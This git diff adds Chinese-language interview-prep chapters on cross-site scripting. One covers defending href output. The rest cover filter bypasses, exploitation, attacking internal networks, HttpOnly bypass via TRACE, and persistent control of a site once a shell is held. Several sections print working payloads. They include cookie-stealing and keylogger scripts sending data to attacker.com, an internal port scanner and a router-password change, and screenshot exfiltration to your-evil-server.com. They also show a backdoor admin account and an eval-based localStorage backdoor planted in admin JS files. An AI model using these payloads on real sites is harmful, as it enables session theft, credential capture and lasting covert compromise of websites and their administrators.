diff --git a/Chapter2/2-1.md b/Chapter2/2-1.md
new file mode 100644
index 0000000..0810986
--- /dev/null
+++ b/Chapter2/2-1.md
@@ -0,0 +1,60 @@
+### 输出到 href 属性的 XSS 如何防御
+
+**1. 严格的白名单验证**
+
+这是最安全、最推荐的防御方法。**不要**试图去黑名单过滤，因为攻击者总能找到绕过的方法。相反，你应该只允许那些已知安全的协议和域名
+
+- **只允许安全的协议**：只接受 `http` 和 `https` 协议。所有其他协议，特别是 `javascript:`、`data:`、`vbscript:` 等，都应该被拒绝
+- **示例**：
+  - **安全**：`https://www.example.com`
+  - **不安全**：`javascript:alert(1)`
+
+**实现方式**： 在后端代码中，你可以使用正则表达式或内置的 URL 解析函数来检查协议。例如，在 PHP 中可以这样做：
+
+```php
+function is_safe_url($url) {
+    $parsed_url = parse_url($url);
+    if (!isset($parsed_url['scheme'])) {
+        // 如果没有协议头，可能是相对路径，视为安全
+        return true;
+    }
+    // 只允许 http 或 https 协议
+    return in_array($parsed_url['scheme'], ['http', 'https']);
+}
+
+$user_input_url = $_GET['url'];
+if (is_safe_url($user_input_url)) {
+    // URL 安全，进行输出
+    echo '<a href="' . htmlspecialchars($user_input_url) . '">Click Here</a>';
+} else {
+    // URL 不安全，拒绝或使用默认值
+    echo '<a href="/default-page">Click Here</a>';
+}
+```
+
+**2. 对所有 URL 进行 HTML 实体编码**
+
+这是防御 XSS 的基本操作，但它**不足以**防御 `href` XSS。你仍然需要执行它，因为它能防止其他类型的 XSS 攻击htmlspecialchars()` 或 `htmlentities()` 可以将 `<`、`>`、`"` 等特殊字符转换为实体，防止它们被解释为 HTML 标签
+
+- **正确做法**：将 URL 进行白名单验证后，再进行 HTML 实体编码
+
+  - **示例**：
+
+    ```php
+    $safe_url = "https://example.com/page?param=<script>alert(1)</script>";
+    echo '<a href="' . htmlspecialchars($safe_url) . '">Click Here</a>';
+    ```
+
+  - **结果**：浏览器渲染为 `<a href="https://example.com/page?param=<script>alert(1)</script>">Click Here</a>`。即使 URL 中包含恶意代码，它也不会被执行。但如果 URL 是 `javascript:alert(1)`，单独使用 `htmlspecialchars()` 是无效的
+
+**3. CSP**
+
+CSP 是一个强大的安全策略，可以从根本上限制页面可以加载和执行的资源。你可以设置一个 CSP 规则，明确禁止 `javascript:` 协议的 URI
+
+- **在 HTTP 响应头中添加**： `Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; object-src 'none';`
+
+  这条规则**不直接**阻止 `href` 中的 `javascript:`，但它可以与**不安全的内联脚本**（`unsafe-inline`）策略结合使用。一个更严格的 CSP 策略可以禁止内联脚本，从而让 `javascript:` 协议失效
+
+- **一个更有效的 CSP 规则**： `Content-Security-Policy: default-src 'self'; script-src 'self';`
+
+  这条规则禁止了所有内联脚本，包括 `javascript:` 协议，从而提供了额外的保护层。不过，这可能会对你的网站功能造成影响，需要在部署前进行全面测试
\ No newline at end of file
diff --git a/Chapter2/2-2.md b/Chapter2/2-2.md
new file mode 100644
index 0000000..4fafa78
--- /dev/null
+++ b/Chapter2/2-2.md
@@ -0,0 +1,52 @@
+### XSS 绕过方式
+
+**1. 大小写混淆绕过**
+
+许多过滤规则是针对特定大小写模式的，比如 `<script>`。你可以尝试使用大小写混淆的方式来绕过，例如：
+
+- `<sCrIpT>`
+- `<ScrIpT>`
+- `<SCript>`
+
+这种方式通常在不区分大小写的环境中有效
+
+**2. 空白字符、换行符和 Tab 键绕过**
+
+过滤器有时会忽略或者处理不当某些空白字符。你可以尝试在标签、属性名或者属性值之间插入空格、换行符（`%0a`或`%0d`）或者 Tab 键（`%09`）来绕过，例如：
+
+- `<img src="javascript:alert(1);">` 可以尝试写成 `<img src=" javascript: alert(1); ">`
+- `<script>alert(1)</script>` 可以尝试写成 `<script%0a>alert(1)</script>`
+
+**3. 使用编码绕过**
+
+许多过滤器会试图拦截特定字符，比如尖括号 `< >` 和引号 `"` `'`。你可以使用 HTML 实体编码、URL 编码或者其他编码方式来绕过
+
+- **URL 编码：**
+  - `(` 编码为 `%28`
+  - `)` 编码为 `%29`
+  - ` ` 编码为 `%20`
+
+**4. 标签和属性嵌套绕过**
+
+有些过滤器可能只过滤顶层的脚本标签，但忽略嵌套的标签。你可以尝试在标签内部使用其他标签或者属性来注入，例如：
+
+- `<a href="javascript:alert(1)">Click Me</a>`
+- `<img src="x" onerror="alert(1)">`
+- `<svg onload=alert(1)>`
+
+**5. 事件处理器绕过**
+
+除了最常见的 `onload` 和 `onerror` 事件，还有很多其他事件可以用来触发脚本，例如：
+
+- `onmouseover`
+- `onmouseout`
+- `onclick`
+- `onfocus`
+- `onblur`
+- `onchange`
+
+例如：`<input onfocus=alert(1) autofocus>`
+
+**6. 使用特殊字符绕过**
+
+一些特殊字符，如反引号（`）、反斜杠（``）等，在特定情况下可以用来绕过过滤。例如，在某些 JavaScript 语法中，反引号可以用来包裹字符串并执行代码
\ No newline at end of file
diff --git a/Chapter2/2-3.md b/Chapter2/2-3.md
new file mode 100644
index 0000000..be1d75c
--- /dev/null
+++ b/Chapter2/2-3.md
@@ -0,0 +1,78 @@
+### XSS 利用方式
+
+**1. 窃取 Cookie 和 Session**
+
+这是最常见且危害最大的利用方式之一。通过执行恶意 JavaScript，攻击者可以获取用户的 Cookie，特别是那些用于身份验证的 Session Cookie。一旦获得，攻击者就可以冒充用户身份，无需密码即可登录网站，窃取个人信息、进行非法操作，比如转账或发布恶意内容
+
+恶意代码示例：
+
+```javascript
+<script>
+  document.location = 'http://attacker.com/cookie_stealer.php?c=' + document.cookie;
+</script>
+```
+
+这段代码会将当前页面的所有 Cookie 发送到攻击者的服务器上
+
+**2. 键盘记录**
+
+攻击者可以植入键盘记录器来捕获用户在当前页面输入的所有信息，包括用户名、密码、信用卡号等敏感数据。这种方式尤其危险，因为用户可能在毫无察觉的情况下泄露重要信息
+
+```javascript
+<script>
+  document.onkeypress = function(e) {
+    // 将用户按键信息发送到攻击者服务器
+    fetch('http://attacker.com/keylogger.php?key=' + e.key);
+  };
+</script>
+```
+
+**3. 钓鱼攻击**
+
+通过 XSS，攻击者可以篡改网页内容，插入虚假的登录框或提示信息，诱骗用户输入账户和密码。例如，在合法网站的页面上弹出一个伪造的登录框，提示用户“您的会话已过期，请重新登录”。用户以为是正常操作，输入信息后，这些信息就会被发送到攻击者的服务器
+
+**4. 网页挂马和恶意重定向**
+
+攻击者可以利用 XSS 将用户浏览器重定向到恶意网站，或者在当前页面上加载恶意脚本（例如，加密勒索病毒）
+
+恶意代码示例：
+
+```javascript
+<script>
+  window.location.href = "http://malicious-site.com";
+</script>
+```
+
+或者加载一个恶意脚本：
+
+```javascript
+<script src="http://malicious-site.com/malware.js"></script>
+```
+
+**5. 绕过同源策略**
+
+虽然浏览器的同源策略限制了不同源的脚本互相访问，但在某些特定情况下，XSS 可以作为绕过同源策略的第一步。一旦在目标域上执行了脚本，攻击者就可以访问该域下的敏感数据，比如通过 AJAX 请求获取用户的私人信息
+
+**6. 盗用 CSRF Token**
+
+许多网站使用 CSRF Token 来防御跨站请求伪造攻击。但如果存在 XSS 漏洞，攻击者可以轻松地通过 JavaScript 获取页面中的 CSRF Token，然后构造一个合法的请求（例如，转账请求），并代表用户提交
+
+恶意代码示例：
+
+```javascript
+<script>
+  // 通过 AJAX 请求获取页面内容
+  fetch('/user/profile').then(response => response.text()).then(html => {
+    // 从 HTML 中解析 CSRF Token，并构造一个请求
+    const csrfToken = html.match(/csrf-token" content="(.*?)">/)[1];
+    fetch('/transfer', {
+      method: 'POST',
+      body: `amount=1000&to=attacker&_csrf=${csrfToken}`
+    });
+  });
+</script>
+```
+
+**7. DOM 篡改**
+
+攻击者可以修改页面上的 DOM 元素，例如，隐藏或替换页面上的某些内容，或者插入广告、恶意链接等
\ No newline at end of file
diff --git a/Chapter2/2-4.md b/Chapter2/2-4.md
new file mode 100644
index 0000000..5c8058c
--- /dev/null
+++ b/Chapter2/2-4.md
@@ -0,0 +1,81 @@
+### XSS 怎么打内网
+
+**1. 端口扫描**
+
+这是最基础也最常见的利用方式。攻击者可以通过 JavaScript 构造请求（如 `<img>` 或 `<iframe>` 标签），尝试加载内网 IP 地址和端口，并根据加载成功或失败来判断端口是否开放
+
+**基本思路：**
+
+- **加载 `<img>` 标签**： `<img>` 标签的 `src` 属性可以指向内网 IP 和端口。如果图片能够加载成功，就说明该端口是开放的。可以通过 `onerror` 和 `onload` 事件来判断加载结果
+
+  **示例代码：**
+
+  ```javascript
+  const targetIp = '192.168.1.1';
+  const targetPorts = [80, 22, 445, 8080];
+  
+  targetPorts.forEach(port => {
+    const img = new Image();
+    img.onload = () => {
+      // 端口开放
+      console.log(`Port ${port} on ${targetIp} is open.`);
+      // 将结果发送回攻击者服务器
+      fetch(`http://attacker.com/log?ip=${targetIp}&port=${port}&status=open`);
+    };
+    img.onerror = () => {
+      // 端口关闭或无法访问
+      console.log(`Port ${port} on ${targetIp} is closed.`);
+    };
+    img.src = `http://${targetIp}:${port}`;
+  });
+  ```
+
+- **加载 `<iframe>` 标签**： `<iframe>` 标签可以用来加载内网页面。如果加载成功，攻击者可以通过 JavaScript 获取页面的部分内容（但受同源策略限制）
+
+**2. 服务指纹识别**
+
+通过上一步的端口扫描，攻击者可以确定内网中有哪些服务是开放的。接下来，可以通过 JavaScript 发送 AJAX 请求到这些服务，然后根据响应头（如 `Server`、`X-Powered-By`）或页面内容来识别服务的类型和版本
+
+**示例代码：**
+
+```javascript
+const targetUrl = 'http://192.168.1.1:8080';
+
+fetch(targetUrl)
+  .then(response => {
+    // 检查响应头，获取服务信息
+    const serverHeader = response.headers.get('Server');
+    console.log(`Server on ${targetUrl} is: ${serverHeader}`);
+    // 将结果发送回攻击者服务器
+    fetch(`http://attacker.com/log?url=${targetUrl}&server=${serverHeader}`);
+  })
+  .catch(error => {
+    console.error(`Could not connect to ${targetUrl}`);
+  });
+```
+
+**3. 攻击内网路由器或管理后台**
+
+许多内网路由器和管理系统都存在默认密码或已知漏洞。攻击者可以利用 XSS 漏洞，在受害者浏览器中构造并发送针对这些设备的请求
+
+**示例：利用 CSRF 漏洞修改路由器密码**
+
+假设某个路由器修改密码的请求是：`POST /admin/password_change`，并带上参数 `new_password=123456`。 攻击者可以通过 JavaScript 构造一个表单并提交，或者直接用 `fetch` 发送请求
+
+**示例代码：**
+
+```javascript
+// 假设路由器IP是 192.168.1.1，并且修改密码的路径是 /admin/change_password
+const routerIp = '192.168.1.1';
+const newPassword = 'hacked_by_xss';
+
+const formData = new FormData();
+formData.append('password', newPassword);
+
+fetch(`http://${routerIp}/admin/change_password`, {
+  method: 'POST',
+  body: formData
+}).then(() => {
+  console.log('Router password changed!');
+});
+```
\ No newline at end of file
diff --git a/Chapter2/2-5.md b/Chapter2/2-5.md
new file mode 100644
index 0000000..41356ef
--- /dev/null
+++ b/Chapter2/2-5.md
@@ -0,0 +1,10 @@
+### XSS 如何绕过 HttpOnly 获取 Cookie
+
+**XST** 是一种利用 HTTP `TRACE` 或 `TRACK` 方法的攻击，它在某些特定配置下可以绕过 HttpOnly。当一个网站允许 `TRACE` 请求时，攻击者可以通过以下步骤进行攻击：
+
+1. 攻击者诱导受害者点击一个恶意链接或访问一个包含恶意脚本的页面
+2. 恶意脚本向受害者的浏览器发送一个 `TRACE` 请求
+3. 如果服务器没有正确配置，它可能会在 `TRACE` 响应中包含所有 HTTP 请求头，包括带有 HttpOnly 标志的 Cookie
+4. 恶意脚本通过 JavaScript 读取 `TRACE` 响应的内容，从而获取到 Cookie
+
+**防御方法：** 禁用 HTTP `TRACE` 和 `TRACK` 方法。现代服务器和框架默认都禁用了这些方法，但老旧的系统或错误配置的环境仍可能存在此漏洞
\ No newline at end of file
diff --git a/Chapter2/2-6.md b/Chapter2/2-6.md
new file mode 100644
index 0000000..b18c068
--- /dev/null
+++ b/Chapter2/2-6.md
@@ -0,0 +1,159 @@
+### 有 Shell 的情况下如何使用 XSS 实现对目标站的长久控制
+
+**1. 利用 XSS 劫持管理员会话**
+
+这是最直接也最常见的 XSS 攻击方式，但在这里，我们将其作为持久化控制的跳板
+
+- **原理：** 当管理员访问存在 XSS 漏洞的页面时，我们的恶意 JavaScript 代码会执行，并窃取管理员的 `cookie`、`sessionStorage`、`localStorage` 等会话信息
+
+- **实现：**
+
+  - **WebShell 注入：** 在您已经获取的 Shell 中，找到一个管理员经常访问的、可写入的文件（例如，网站的公共 JS 文件、后台管理页面模板等）
+  - **插入 Payload：** 在该文件中插入以下恶意 JavaScript 代码
+
+  JavaScript
+
+  ```javascript
+  fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);
+  ```
+
+  - **获取会话：** 当管理员访问该页面时，他们的 `cookie` 就会被发送到您的服务器 `log.php`。您可以用这些 `cookie` 伪造会话，从而以管理员身份登录后台
+  - **持久化：** 只要您能以管理员身份登录，就可以通过后台修改网站配置，上传新的 WebShell，或者进行其他持久化操作
+
+这种方法的优点是简单直接，但缺点是如果管理员退出登录或会话过期，您需要重新等待下一次捕获
+
+**2. 利用 XSS 注入后台管理页面后门**
+
+这种方法更具隐蔽性和持久性，它旨在直接在后台管理系统中创建可控的“后门”
+
+- **原理：** 很多后台管理系统都允许管理员自定义页面内容、插入自定义代码或编辑模板。我们可以利用 XSS，在管理员的浏览器中执行 JavaScript 代码，悄悄地修改这些配置
+- **实现：**
+  - **自动化操作：** 编写一个 JavaScript 脚本，该脚本可以模拟管理员的点击、表单填写和提交操作
+  - **创建新用户：** 脚本可以模拟点击“添加用户”按钮，填写一个新的管理员账户信息（例如，用户名：`backdoor`，密码：`P@ssw0rd`），然后点击“保存”
+  - **修改配置文件：** 脚本还可以模拟打开“系统设置”页面，修改网站的配置，例如允许文件上传、关闭安全限制等
+  - **注入 Payload：** 将这些自动化操作的 JavaScript 代码注入到存在 XSS 的页面。当管理员访问时，脚本会在后台静默执行，完成上述操作
+
+这种方法的优点是，即使管理员会话过期，我们创建的后门用户依然存在，可以随时用于登录
+
+**3. 利用 XSS 劫持 WebSocket 连接**
+
+如果目标网站使用了 WebSocket 来进行实时通信，这也是一个非常高明的攻击点
+
+- **原理：** WebSocket 是一种在客户端和服务器之间建立持久连接的协议。我们可以利用 XSS，劫持 WebSocket 连接，向服务器发送恶意指令
+
+- **实现：**
+
+  - **注入 WebSocket 劫持代码：**
+
+  JavaScript
+
+  ```javascript
+  // 假设原始 WebSocket 连接
+  var ws = new WebSocket("wss://target.com/websocket");
+  // 劫持
+  ws.onmessage = function(event) {
+      // 在这里可以拦截或修改 WebSocket 消息
+      console.log("Received message from server: " + event.data);
+  };
+  // 发送恶意指令
+  ws.onopen = function() {
+      // 假设服务器允许通过 WebSocket 发送命令
+      ws.send(JSON.stringify({ "command": "upload_shell", "path": "/uploads/backdoor.php" }));
+  };
+  ```
+
+  - **持久化：** 通过劫持 WebSocket，我们可以向服务器发送管理员级别的指令，例如要求服务器上传一个新文件（我们的 WebShell）、执行系统命令、或修改数据库记录
+
+这种方法需要对目标网站的 WebSocket 协议有深入了解，但其威力巨大，可以实现几乎实时的控制
+
+**4. 利用 XSS 注入浏览器的持久化存储**
+
+- **原理：** 浏览器中的 `localStorage` 和 `sessionStorage` 允许网页存储数据。我们可以利用 XSS，将我们的恶意代码或配置存储在这些地方，从而实现持久化
+
+- **实现：**
+
+  - **注入 Payload：**
+
+  JavaScript
+
+  ```javascript
+  // 将恶意代码或配置存储到 localStorage
+  localStorage.setItem('malicious_flag', 'true');
+  localStorage.setItem('shell_url', 'http://your-evil-server.com/shell.php');
+  ```
+
+  - **持久化：** 当管理员再次访问该页面时，我们可以检查 `localStorage` 中的标志，如果存在，则执行后续的恶意操作（例如，加载远程 JS 文件）
+
+**5. 键盘记录**
+
+- **原理：** 键盘记录器利用 JavaScript 监听 DOM 事件，例如 `keydown` 或 `keypress`，当管理员在后台页面输入账号、密码或其他敏感信息时，脚本会捕获这些按键事件，并将输入的数据发送到攻击者的服务器
+
+- **实现：**
+
+  1. **注入 Payload：** 在您已经拥有 Shell 的前提下，找到一个管理员经常访问的、可写入的 JS 文件。在该文件中注入以下 JavaScript 代码：
+
+  ```js
+  // 恶意键盘记录脚本
+  document.addEventListener('keydown', function(event) {
+      var key = event.key;
+      // 将按键数据发送到你的服务器
+      fetch('http://your-evil-server.com/log.php?key=' + encodeURIComponent(key));
+  });
+  ```
+
+  1. **实时数据捕获：** 当管理员在后台登录表单中输入用户名和密码时，每个按键都会被记录下来，并通过 `fetch` 请求发送到您的服务器
+  2. **持久化：** 这种方法非常隐蔽，因为脚本在后台静默运行。一旦管理员登录，您不仅能获取他们的账号密码，还能实时监控他们在后台进行的任何操作，例如修改文章、上传文件等
+
+**6. 浏览器屏幕截图**
+
+- **原理：** 利用 HTML5 的 `Canvas` 和 `toDataURL()` 方法，我们可以截取 DOM 元素（例如整个页面）的内容，将其转换为图片数据，并发送给攻击者
+
+- **实现：**
+
+  1. **注入 Payload：** 在可写入的 JS 文件中注入以下代码：
+
+  ```js
+  // 定时截图并发送
+  setInterval(function() {
+      html2canvas(document.body).then(function(canvas) {
+          // 将 canvas 内容转换为 base64 格式
+          var imageData = canvas.toDataURL("image/png");
+          // 将图片数据发送到你的服务器
+          fetch('http://your-evil-server.com/screenshot.php', {
+              method: 'POST',
+              body: JSON.stringify({ image: imageData })
+          });
+      });
+  }, 5000); // 每隔5秒截图一次
+  ```
+
+  1. **依赖库：** 需要注意的是，这个方法通常依赖第三方库，例如 `html2canvas.js`。您需要将该库的 JS 文件也注入到目标网站中
+  2. **实时监控：** 这种方法可以直观地看到管理员在后台的操作界面，包括他们正在编辑的内容、正在上传的文件等，为您的后续攻击提供丰富的上下文信息。
+
+**7. 利用 XSS 注入持久化 localStorage 后门**
+
+这是一种更具隐蔽性的持久化方法，它不依赖于修改网站文件，而是利用浏览器的本地存储功能
+
+- **原理：** 利用 `localStorage` 将恶意代码片段持久化存储在管理员的浏览器中
+
+- **实现：**
+
+  1. **一次性注入：** 找到一个XSS漏洞点（例如，一个输入框）。输入以下Payload：
+
+  ```html
+  <script>
+    localStorage.setItem('backdoor', 'your_malicious_javascript_code');
+  </script>
+  ```
+
+  1. **主页面加载器：** 然后在网站的主 JS 文件中，注入一个检查 `localStorage` 的代码：
+
+  ```js
+  // 检查是否存在后门代码
+  var backdoorCode = localStorage.getItem('backdoor');
+  if (backdoorCode) {
+      eval(backdoorCode); // 执行后门代码
+  }
+  ```
+
+  1. **持久化：** 只要管理员不清空浏览器缓存，即使您修改的输入框被清理了，后门代码依然会存在于 `localStorage` 中，并在每次页面加载时被执行
\ No newline at end of file
diff --git a/Chapter2/README.md b/Chapter2/README.md
index 8b13789..9eecb4f 100644
--- a/Chapter2/README.md
+++ b/Chapter2/README.md
@@ -1 +1,20 @@
+# 网安面试题（涵盖护网、红队、逆向、二进制）
 
+上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
+
+HR：请问…………
+
+我：叽里咕噜说啥呢，看看八股文上写了没
+
+（Summary.md 是目录噢！！）
+
+**🙏 特别感谢名单**
+
+在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
+
+- **@用户名1** —— 提供了大量安全面试题方向的补充  
+- **@用户名2** —— 纠正了多个问题的答案与表述  
+- **@用户名3** —— 贡献了真实面试题经验分享  
+- **@用户名4** —— 对内容结构与目录提出改进建议  
+
+如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字